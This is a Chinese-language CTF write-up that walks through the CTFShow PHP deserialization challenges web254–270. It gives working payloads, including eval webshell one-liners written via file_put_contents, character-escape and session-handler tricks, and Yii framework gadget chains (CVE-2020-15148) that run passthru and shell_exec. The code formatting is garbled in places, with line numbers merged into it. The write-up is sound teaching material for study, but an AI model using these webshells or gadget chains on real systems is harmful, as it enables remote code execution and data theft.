CTFShow 反序列化
web254 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser(); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
分析:
作反序列化这类题,不能着急。要读懂每一行代码的意思。
这类题离不开一个 关键词:serialize : 这是序列化, unserialize : un开头的前缀位相反的意思则: 反序列化。
在这道题中没有出现 serialize , 这一题可以理解为后续题目的导读。这道题直接告诉你,要将 username和password都等于 xxxxxx
1 ?username=xxxxxx&password=xxxxxx
web255 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
分析:
先看定义的 class ctfShowUser.
三个 public 的变量:username=’xxxxxx’, password=’xxxxxx’, isVip=false; isVip:false相对的就是 ture;
1 2 3 public function checkVip ( ) { return $this ->isVip; }
这个 checkVip() 简单明了,直接返回变量 isVip的值:false或者true ;
1 2 3 public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; }
login()函数的返回值是类中的变量username和password,对形参 u 和 p的判断的返回值 : true或者false;那么形参必须和两个变量的值相等才能为: true ;
1 2 3 4 5 6 7 8 public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } }
vipOneKeyGetFlag()函数首先if判断变量 isVip是否为 true,为true则输出flag.否则将输出:不是vip没有flag;那么需要让 isVip=true ;
最后来看后面的 调用:
1 2 3 4 5 6 7 8 9 10 if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =true ; } $a = new ctfShowUser();$str = serialize($a );echo $str ."<br/><br/><br/>" ;$str = urlencode($str ); echo $str ;?>
1 O%3 A11%3 A%22 ctfShowUser%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 B%7 D
利用 Burp 对 cookie 编辑,首先要将 url 传入 username和password
1 ?username=xxxxxx&password=xxxxxx
web256 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); if ($user ->login($username ,$password )){ if ($user ->checkVip()){ $user ->vipOneKeyGetFlag(); } }else { echo "no vip,no flag" ; } }
分析:
相较于web255类似。
不同之处在: ctfShowUser类中 : 增加了 if判断
1 2 3 4 5 6 7 8 9 10 public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } }
那既然只更改了这一点。让username和password不相等。
1 ?username=x&password=xxxxxx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file(__FILE__ ); class ctfShowUser { public $username ='x' ; public $password ='xxxxxx' ; public $isVip =true ; } $a = new ctfShowUser();$str = serialize($a );echo $str ;echo "<br/><br/><br/>" ;$str = urlencode($str );echo $str ;?>
1 O%3 A11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A21%3 A%22 %00 ctfShowUser%00 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A21%3 A%22 %00 ctfShowUser%00 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 isVip%22 %3 Bb%3 A0%3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 class %22 %3 BO%3 A8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A14%3 A%22 %00 backDoor%00 code%22 %3 Bs%3 A23%3 A%22 system%28 %27 cat+flag.php%27 %29 %3 B%22 %3 B%7 D%7 D
web257 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class=new info(); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class->getInfo(); } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); $user ->login($username ,$password ); }
分析:
这道题,多了两个 class: info 和 backDoor
1 2 3 4 5 6 class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } }
1 2 3 4 5 6 class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } }
再来看看 ctfShowUser类:
多了一个变量 class = ‘info’ ,既然有 info 那是不是会有 class=’backDoor’ 呢?而backDoor中正好有 eval()函数。
多了魔术变量: __construct() **__ destruct()**,一个被创建时自动调用,一个被销毁时自动调用。魔术变量在序列化中必不可少!
1 2 3 4 5 6 __construct() __toString() __sleep() __wakeup() __destruct() ……
1 2 3 public function __construct ( ) { $this ->class=new info(); }
1 2 public function __destruct ( ) { $this ->class->getInfo();
1 2 3 4 if (isset ($username ) && isset ($password )){ $user = unserialize($_COOKIE ['user' ]); $user ->login($username ,$password ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file(__FILE__ ); class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'backDoor' ; public function __construct ( ) { $this ->class=new backDoor(); } public function __destruct ( ) { $this ->class->getInfo(); } } class backDoor { private $code ="system('cat flag.php');" ; public function getInfo ( ) { eval ($this ->$code ); } } $a = new ctfShowUser();$str = serialize($a );echo $str ."<br/><br/><br/>" ;echo urlencode($str )."<br/><br/><br/>" ;?>
1 2 3 Public 属性序列化后格式: 成员名Private 属性序列化后格式: %00 类名%00 成员名Protected 属性序列化后的格式: %00 *%00 成员名
1 O%3 A11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A21%3 A%22 %00 ctfShowUser%00 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A21%3 A%22 %00 ctfShowUser%00 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 isVip%22 %3 Bb%3 A0%3 Bs%3 A18%3 A%22 %00 ctfShowUser%00 class %22 %3 BO%3 A8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A14%3 A%22 %00 backDoor%00 code%22 %3 Bs%3 A23%3 A%22 system%28 %27 cat+flag.php%27 %29 %3 B%22 %3 B%7 D%7 D
web258 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php error_reporting(0 ); highlight_file(__FILE__ ); class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class=new info(); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class->getInfo(); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ if (!preg_match('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize($_COOKIE ['user' ]); } $user ->login($username ,$password ); }
分析:
意思是字母: o:1: 或者 c:1: 才能被匹配,数字1可以替换为其他数字,字母o和c二选一。o 是objiect,序列化后的格式。
匹配到了为 true 再执行 ! 为 false, false了就不能执行 if() 中的语句。
要绕过这个匹配,让 o: 替换为 o:+ ,与其数字分隔: o:+1 或者 c:+1 ,+ url编码后为 : %2b, 我也试试了其他字符隔开但没成功。
本地序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php highlight_file(__FILE__ ); class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'backDoor' ; public function __construct ( ) { $this ->class=new backDoor(); } public function __destruct ( ) { $this ->class->getInfo(); } } class backDoor { public $code ="system('cat flag.php');" ; public function getInfo ( ) { eval ($this ->code); } } $a = new ctfShowUser();$str = serialize($a );echo $str ."<br/><br/><br/>" ;$str = str_replace('O:' ,'O:+' ,$str ); echo $str ."<br/><br/><br/>" ;$str = urlencode($str );echo $str ."<br/>" ;?>
1 O%3 A%2 B11%3 A%22 ctfShowUser%22 %3 A4%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A6%3 A%22 xxxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A0%3 Bs%3 A5%3 A%22 class %22 %3 BO%3 A%2 B8%3 A%22 backDoor%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 code%22 %3 Bs%3 A23%3 A%22 system%28 %27 cat+flag.php%27 %29 %3 B%22 %3 B%7 D%7 D
web259 源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__ ); $vip = unserialize($_GET ['vip' ]);$vip ->getFlag();Notice: Undefined index: vip in /var /www/html/index.php on line 6 Fatal error : Uncaught Error : Call to a member function getFlag ( ) on bool in /var /www /html /index .php :8 Stack trace : #0 {main} thrown in /var /www/html/index.php on line 8
分析:
web260 源码:
1 2 3 4 5 6 7 8 9 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ('flag.php' );if (preg_match('/ctfshow_i_love_36D/' ,serialize($_GET ['ctfshow' ]))){ echo $flag ; }
分析:
if 语句 正则匹配 ctfshow_i_love_36D, 这里 serialize 是生成序列化的值,没有 un ,所以直接get传入:
1 ?ctfshow=ctfshow_i_love_36D
web261 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file(__FILE__ ); class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents($this ->username, $this ->password); } } } unserialize($_GET ['vip' ]);
php中的魔法方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 __wakeup() __sleep() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke() __construct()
分析:
1 2 当同时出现 __unserialize 和 __wakeup 的时候,__wakeup 是不会执行的,会被忽略。 而且 __invoke 也不会执行。
1 2 3 4 5 public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; }
1 2 3 4 5 public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents($this ->username, $this ->password); } }
在这里可以看到,if 判断 为 两个等号即弱类型比较,而 0x36 从十六进制转为十进制为 877。故:只要 code=877whatwhat 都可以使此 if 语句 为 true 进而执行 file_put_contents(), file_put_contest() 函数将字符串写入文件。这个函数,我们经常用它来写入一句话木马。
所以可以得到如下:
1 2 $username =877 shell.php$password =<?php @eval ($_POST [1 ]);?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class ctfshowvip { public $username ='877shell.php' ; public $password ='<?php @eval($_POST[1]);?>' ; public $code ='' ; public function __construct ( ) { $this ->username; $this ->password; } } $a = new ctfshowvip();echo serialize($a );echo "\n\n" ;echo urlencode(serialize($a ));
1 O%3 A10%3 A%22 ctfshowvip%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A12%3 A%22877 shell.php%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A25%3 A%22 %3 C%3 Fphp+%40 eval %28 %24 _POST%5 B1%5 D%29 %3 B%3 F%3 E%22 %3 Bs%3 A4%3 A%22 code%22 %3 Bs%3 A0%3 A%22 %22 %3 B%7 D
运行不报错的话,看看在目录下是否生成了 877shell.php,别忘了 POST传参。
web262 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting(0 ); class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message($f ,$m ,$t ); $umsg = str_replace('fuck' , 'loveU' , serialize($msg )); setcookie('msg' ,base64_encode($umsg )); echo 'Your message has been sent' ; } highlight_file(__FILE__ );
在这道题的注释当中,发现了 message.php 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php highlight_file(__FILE__ ); include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize(base64_decode($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
这道题考察了PHP反序列化的字符逃逸问题,这里是增加。
传送门 这位师傅讲的很好。
上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f ='1' ;$m ='1' ;$t ='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' ;$msg =new message($f ,$m ,$t );$ser_msg =serialize($msg );echo $ser_msg ."\n" ;$umsg =str_replace('fuck' ,'loveU' ,$ser_msg );echo $umsg ."\n" ;$umsg =base64_encode($umsg );echo $umsg ;
结果,将生成的 base64,写入到cookie中去。然后访问 message.php 即可得到flag。
1 Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiMSI7czozOiJtc2ciO3M6MToiMSI7czoyOiJ0byI7czoxMzU6ImxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVSI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fSI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9
web263 源码: www.zip 文件泄露(index.php, check.php, inc.php)。
分析:
index.php
1 2 3 4 5 6 7 8 9 …… if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode(base64_decode($_COOKIE ['limit' ]) +1 ); }else { setcookie("limit" ,base64_encode('1' )); $_SESSION ['limit' ]= 1 ; } ……
从 三目运算符 可得到: __ SESSION 可控,通过 __ COOKIE[‘limit’] 可控。
inc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ini_set('session.serialize_handler' , 'php' ); date_default_timezone_set("Asia/Shanghai" ); session_start(); …… …… …… class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create()->format('Y-m-d H:i:s' )); } }
在 inc.php中 可以看到 session_start() 开启了 session会话。
class User{} 中 file_put_contents() 文件写入,利用点。
file_put_contents() 中的文件名: log-xxx.php 。
ini_set(‘session.serialize_handler’, ‘php’); 其中 session.serialize_handler: session序列化存储所用处理器。默认 php。还有其它处理器如下:
实例代码便于观看各种处理器之间的格式:
1 2 3 4 <?php session_start(); ini_set('session.serialize_handler' ,'php' ); $_SESSION ['user' ]="admin" ;
处理器
序列化格式
session.serialize_handler=php
user|s:5:”admin”;
session.serialize_handler=php_serialize
a:1:{s:4:”user”;s:5:”admin”;}
session.serialize_handler=php_binary
users:5:”admin”; (:二进制数据)
session反序列化所使用的引擎和序列化使用的引擎不一样,将导致数据无法正确反序列化。因此就可以钻空子了,我们通过手段来达到我们的目的。具体的话,我是个小白,解释不清。
check.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 …… error_reporting(0 ); require_once 'inc/inc.php' ;$GET = array ("u" =>$_GET ['u' ],"pass" =>$_GET ['pass' ]);if ($GET ){ $data = $db ->get('admin' , [ 'id' , 'UserName0' ],[ "AND" =>[ "UserName0[=]" =>$GET ['u' ], "PassWord1[=]" =>$GET ['pass' ] ] ]); if ($data ['id' ]){ $_SESSION ['limit' ]= 0 ; echo json_encode(array ("success" ,"msg" =>"欢迎您" .$data ['UserName0' ])); }else { $_COOKIE ['limit' ] = base64_encode(base64_decode($_COOKIE ['limit' ])+1 ); echo json_encode(array ("error" ,"msg" =>"登陆失败" )); } } ……
payload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } } $a = new User('1.php' ,'<?php eval($_POST[1])?>' );echo serialize($a )."\n" ;echo base64_encode('|' .serialize($a ))."\n" ;
1 fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX1BPU1RbMV0pPz4iO3M6Njoic3RhdHVzIjtOO30=
然后刷新 index.php 页面
访问 check.php, 会显示 登陆失败的 unicode编码
1 /check.php?u=111 &pass=111
如图所示 Notice 证明 log-1.php写入成功。
post 传参
1 2 1 =system('ls' );1 =system('tac flag.php' );
web264 源码:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting(0 ); session_start(); class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message($f ,$m ,$t ); $umsg = str_replace('fuck' , 'loveU' , serialize($msg )); $_SESSION ['msg' ]=base64_encode($umsg ); echo 'Your message has been sent' ; } highlight_file(__FILE__ );
message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php session_start(); highlight_file(__FILE__ ); include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize(base64_decode($_SESSION ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
分析:
发现很眼熟,在 web262的基础上改为了 SESSION反序列化。
然而 SESSION 我们控制不了。
message.php 中 需要 设置 一个 cookie 才能执行 if 中的内容。随便设置。
payload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class message { public $from ; public $msg ; public $to ; public $token ='admin' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $msg = new message('1' ,'2' ,'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}' );$s_msg = str_replace('fuck' ,'loveU' ,serialize($msg ));echo $s_msg ."\n" ;
1 ?f=1 &m=2 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
访问 message.php 并随便设置一个 cookie: msg=1(注意 hackbar 设置 cookie 失败)
web265 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php error_reporting(0 ); include ('flag.php' );highlight_file(__FILE__ ); class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $ctfshow = unserialize($_GET ['ctfshow' ]);$ctfshow ->token=md5(mt_rand());if ($ctfshow ->login()){ echo $flag ; }
分析:
mt_rand()系统产生随机值,每次随机值都不一样,且由md5()包裹,那那么这个更是我们控制不了的。
在 class 中 要求 token === password, 全等,token控制不了,拿只能从 password 入手,让 password 等于token的地址。
$this->password = &$this->token;
payload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class ctfshowAdmin { public $token ; public $password ; public function __construct ($t , $p ) { $this ->token=$t ; $this ->password = &$this ->token; } public function login ( ) { return $this ->token === $this ->password; } } $a = new ctfshowAdmin('aaa' ,'aaa' );echo serialize($a );
1 /?ctfshow=O:12 :"ctfshowAdmin" :2 :{s:5 :"token" ;s:3 :"aaa" ;s:8 :"password" ;R:2 ;}
web266 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php highlight_file(__FILE__ ); include ('flag.php' );$cs = file_get_contents('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } } $ctfshowo =@unserialize($cs );if (preg_match('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
分析:
$cs = file_get_contents(‘php://input’); 此处利用了 伪协议,所以我们可以post提交数据。
然后看 class 中 flag 在 destruct() 销毁的时候调用。其它三个函数调用不调用,正确,错误,在这道题中都不影响结果,唯有 destruct() 才影响结果。因此可以写一个空的class。
下面的 if 语句 正则对 ‘ctfshow’ 进行了匹配,有则抛出异常 destruct()将提前终止。因此我们不能让它有异常。将 ctfshow 其中一个字符改为 大写,ex: Ctfshow or cTfshow …… 就能绕过。
payload.php
1 2 3 4 5 6 <?php class ctfshow {} $a = new ctfshow();echo serialize($a );
1 2 O:7 :"ctfshow" :0 :{} O:7 :"cTfshow" :0 :{}
将序列化结果 post 提交。在chrome浏览器Hack Bar插件中post 提交没反应。那就抓包提交(bp 大法好啊!)。
web267 网页:
题目变得贴近真实环境了。
信息搜集与利用
Wappalyzer 插件可以看到这个网页由php Yii框架编写:
弱口令 admin:admin 登陆成功。
在 about 页面 右键查看源代码发现提示: ?view-source
看到 ?xxx 组成的内容很容易联想到 get 传参。所以我们来看看 页面的 url构成:
url:
1 /index.php?r=site%2 Fabout
1 /?r=site%2 Fabout&view-source
1 /?r=backdoor/shell&code=
问题来了 code等于啥呢?
百度一下 yii 反序列化漏洞,得到了一个链子,并且有 CVE-2020-15148;
直接拿来利用。
poc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'phpinfo' ; $this ->id = '1' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction(), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
1 /index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
如图所示成功显示了 phpinfo(),接下来 尝试显示当前目录或者根目录文件
将 poc.php 中设置可控参数 $this->checkAccess = ‘passthru’; (注意 system此处不可用,用 passthru可代替)
设置 $this->id = ‘ls /‘;
如图所示 发现根目录有 flag
设置 $this->id = ‘tac /flag’;
web268 在上一题的基础上,需要对 exp 进行更改,参考了其它师傅的链子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } } namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction($func , $param ), "run" ]; } } } namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession($func , $param ); } } } namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'cp /f * 1.txt '); echo (base64_encode(serialize($exp ))); }
web269 同 web268
web270 同 web268